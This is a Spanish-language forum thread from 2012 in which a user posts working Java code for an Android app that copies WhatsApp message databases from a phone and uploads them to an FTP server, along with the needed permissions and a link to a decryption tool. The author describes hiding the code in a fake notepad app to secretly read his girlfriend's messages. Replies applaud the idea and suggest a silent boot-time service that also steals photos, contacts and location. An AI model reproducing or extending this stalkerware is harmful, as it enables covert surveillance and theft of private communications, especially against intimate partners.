Spyware-código java para "tomar prestado" msgstore.db.crypt-base datos whatsapp

Iniciado por minuf, 6 Agosto 2012, 01:50 AM

0 Miembros y 1 Visitante están viendo este tema.

minuf

Con esto pretendo hacer mas fácil el trabajo a gente que se vea en mi misma situación o en otra parecida. Quiero aclarar las personas que usen el siguiente codigo lo haran totalmente bajo su responsabilidad.

Pues bien, al turrón:

El Spyware se trata de una pequeña aplicación para android que "coge prestados" los archivos msgstore.db.crypt almacenados en la carpeta del whatsapp/databases.
Posteriormente envía  dichos archivos a una servidor FTP, yo he utilizado un servidor público y ha subido toda la base de datos del whatsapp funcionado a la perfección.

Pues bien, tras conseguir dichos archivos tan solo queda utilizar la herramienta escrita en python para descifrar dichos archivos, la cual podemos descargar desde esta misma página.
http://ns2.elhacker.net/Whatsapp_Xtract_V2.1_2012-05-07.zip

1- Para realizar la aplicación lo que haremos será utilizar la librería java commons.net que nos proporcionará los métodos necesarios para establecer un cliente y conectarnos a un servidor ftp.
Para añadir la libreria a nuestro proyecto debemos descargarla de aqui:
http://commons.apache.org/net/download_net.cgi
y posteriormente desde eclipse, click derecho sobre nuestro proyecto, build path y le damos a add external jars, donde añadiremos los .jar de la libreria descargada.


2- Posteriormente crearemos un flujo de entrada desde los archivos que deseamos coger del dispositivo android, en este caso todos los msgstore.db.crypt que hayan en la carpeta whatsapp/databases, y añadirlos a nuestra carpeta en el servidor ftp.

3- Por último tendremos que crear un nuevo hilo de ejecución y instanciar la clase donde tengamos todo lo del punto 1 y 2. Este nuevo hilo de ejecución es necesario para poder realizar este tipo de conexiones en android.
Código (java) [Seleccionar]

import java.io.*;
import java.net.InetAddress;
import java.net.SocketException;
import java.net.URL;
import java.net.URLConnection;
import java.nio.channels.FileChannel;
import org.apache.commons.net.ftp.FTP;
import org.apache.commons.net.ftp.FTPClient;
import android.os.Environment;
import android.util.Log;

public class FtpCon {

public FtpCon() throws SocketException, IOException {

 try {
 FTPClient mFTPClient = new FTPClient();
 mFTPClient.connect("direccion del servidor", 21);      
 mFTPClient.login("nombreUsuario","contraseña");
 mFTPClient.enterLocalPassiveMode();
 mFTPClient.changeWorkingDirectory("directorio ftp para trabajar");
 
 mFTPClient.setFileType(FTPClient.BINARY_FILE_TYPE);// este metodo "setTypeFile(BINARY_FILE_TYPE)" es muy importante para que el archivo se envie correctamente
 Log.d("Working Directory", mFTPClient.printWorkingDirectory());

                         String estado = Environment.getExternalStorageState();
if (!estado.equals(Environment.MEDIA_MOUNTED)) {
Log.d("Error", "No hay almacenamiento externo montado");
} else {
                                       File externalDir = Environment.getExternalStorageDirectory();
File ruta = new File(externalDir.getAbsolutePath()+File.separator+"WhatsApp"+File.separator+"Databases");
String [] filenames = ruta.list();
if (filenames != null) {
for (int i = 0; i< filenames.length; i++) {
try {  

InputStream is = new FileInputStream(ruta+File.separator+filenames[i]);

mFTPClient.storeFile("msgstore.db.crypt"+i, is);
                                                      } catch (IOException e) {
Log.d("Error", "Se ha producido un error! "+e.getMessage());
}

}
}

                               mFTPClient.logout();
                                       Log.d("OK", "Enviado con exito");
 } catch (IOException e) {
 Log.d(":(", e.getMessage());  
 }
        }
  }


Tan solo tenemos que poner la dirección del servidor, el nombre de usuario, la contraseña y la carpeta con la que queremos trabajar en nuestro servidor.

Para que esto funcione, creamos una aplicacion sencilla en android que por ejemplo tenga un botón, y que al pulsar ese boton se ejecute el código anterior, tal y como está escrito a mi me ha funcionado sin problemas, bueno a parte de los problemas que me está causando el leer los mensajes del whatsapp de mi novia..toda una decepción, y como consejo si alguien quiere utilizarlo con este mismo fin, mucho cuidado porque seguro que veis cosa que desearíais no haber visto!

Bueno retomando el tema y para ir finalizando: el pequeño trozo de código que he utilizado para crear un nuevo hilo de ejecución y instanciar la clase FtpCon. Este código lo he metido dentro del método onClick() que le he asignado a un botón que he puesto en medio de la pantalla, pero podeis ponerlo donde querais, siempre y cuando se vaya a ejecutar, exceptuando en el merodo onCreate().
Código (java) [Seleccionar]

new Thread(new Runnable() {
    public void run() {
    try {
FtpCon con = new FtpCon();
} catch (SocketException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}    
    }
   }).start();

Bueno espero que esto os sirva de ayuda a todos aquellos que lo necesiteis. Un Saludo! >:D



minuf

Se me olvidaba comentar los permisos en android. No olvideis añadirlos al manifest.xml para poder acceder a internet y a la sdcard.

<uses-permission android:name="android.permission.INTERNET"/>
   <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />

Karcrack

Buen código, gracias por compartir :D

PS: Añado Geshi a tus códigos.

Иōҳ

Todo lo que hace algo de motivación (saber que hace/manda la novia por whatsapp).

Gracias eh!!!
Saludos,
Nox.
Eres adicto a la Ing. Inversa? -> www.noxsoft.net

valdomero

Hola. Interesantisimo script para android. Tengo muchas dudas sobre como utilizar ese código ya que no tengo ni idea de programación. Supongo que habrá que saber programar aplicaciones con android para meter en los programas esos códigos.
Como veis estoy muy verde aún pero a ver si me dais alguna orientación por donde empezar. Cualquier idea será buena
Saludos

braulio--

Sin saber programar lo vas a tener muy difícil para conseguir usar ese código.

Si de verdad estás interesado te pondría los siguientes pasos:

  • Aprender a programar en algún lenguaje sencillo (Python me parece el mejor para empezar)
  • Aprender Java
  • Mirarte la SDK de Android
Pero solo si estás realmente interesado. Si lo único que quieres hacer es espiarle los mensajes a alguien, no te merece la pena.

valdomero


h3ct0r

hola minuf,

En tu implementacion como haces para que la victima ejecute tu programa? Por que como dices, la app solo envía los archivos al ftp cuando pulsas el botón.

O tu lo ejecutas cuando tu novia esta mirando para otro lado y luego le devuelves el teléfono para luego revisarlos con mas calma en tu server?

Creo que seria bien idearse un servicio que se quede rodando desde el inicio del telefono y que cuando existan X kb modificados en los archivos los suba al servidor ftp.
[img[/img]

minuf

hola h3ct0r,

En respuesta a tu pregunta decirte que tienes toda la razon. Mi intencion era crear una app "util" que ejecute un servicio al inicio para hacer todo esto sin tener que interactuar el usuario. Y que este servicio ademas de "coger prestada" la base de datos del wasap fuese capaz de coger otra informacion como las fotos, agenda de telefonos, localizacion, etc...
Por otra parte la impaciencia me hizo apresurarme y cuando vi que el codigo funcionaba y que podia leer los wasaps de mi novia deje de pensar en todo lo demas.

En cuanto a la pregunta de si miraba para otro lado mientras le daba al boton, cabe aclarar que puse lo del boton como algo generico, lo cierto es que hice un pequeño bloc de notas y le asigne la ejecucion del sript a un EditText, en lugar de un boton, por lo que solo con querer escribir una nota ya esta todo echo, no hace falta darle a ningun boton.
En cuanto le enseñé el bloc de notas a mi "ahora ex", no me hizo falta ni explicarle como funcionaba..lo quería ya...!!
Si hubiese tenido la opcion de ver su movil y que ella mirara pa otro lado, hubiera leido su whatsapp directamente.

Creo que el script que he utilizado se puede mejorar muchisimo en funcion de las necesiidades que tenga cada persona (segun lo que quieras robar y durante cuanto tiempo), mas adelante lo volvere a subir mucho mas limpio y con mas funcionalidad.

Y recordad una cosa, si el rio suena es porque agua lleva. Si teneis tantas dudas de vuestra pareja como para hacer algo asi, mi consejo es que no lo hagais. Mejor vivir en la ignorancia, si quiere estar con otro, que esté. Cuantos menos detalles sepamos...mejor!

Un saludo!

h3ct0r

Cita de: minuf en  8 Octubre 2012, 09:14 AM
Y recordad una cosa, si el rio suena es porque agua lleva. Si teneis tantas dudas de vuestra pareja como para hacer algo asi, mi consejo es que no lo hagais. Mejor vivir en la ignorancia, si quiere estar con otro, que esté. Cuantos menos detalles sepamos...mejor!

Muy acertado tu comentario minuf, la verdad es que si tu mujer te monta los cuernos, pues mala suerte , ya te enteraras y te buscaras a otra. No hay por que mermar la libertad de nadie ni andar de celoso pregunton, la verdad siempre se llega a saber.

Con respecto al programa, me parece bien gracioso lo del block de notas, casi un malware ese block. Muy buena la idea! jejeje

Estamos esperando la nueva versión de la app!  :P
[img[/img]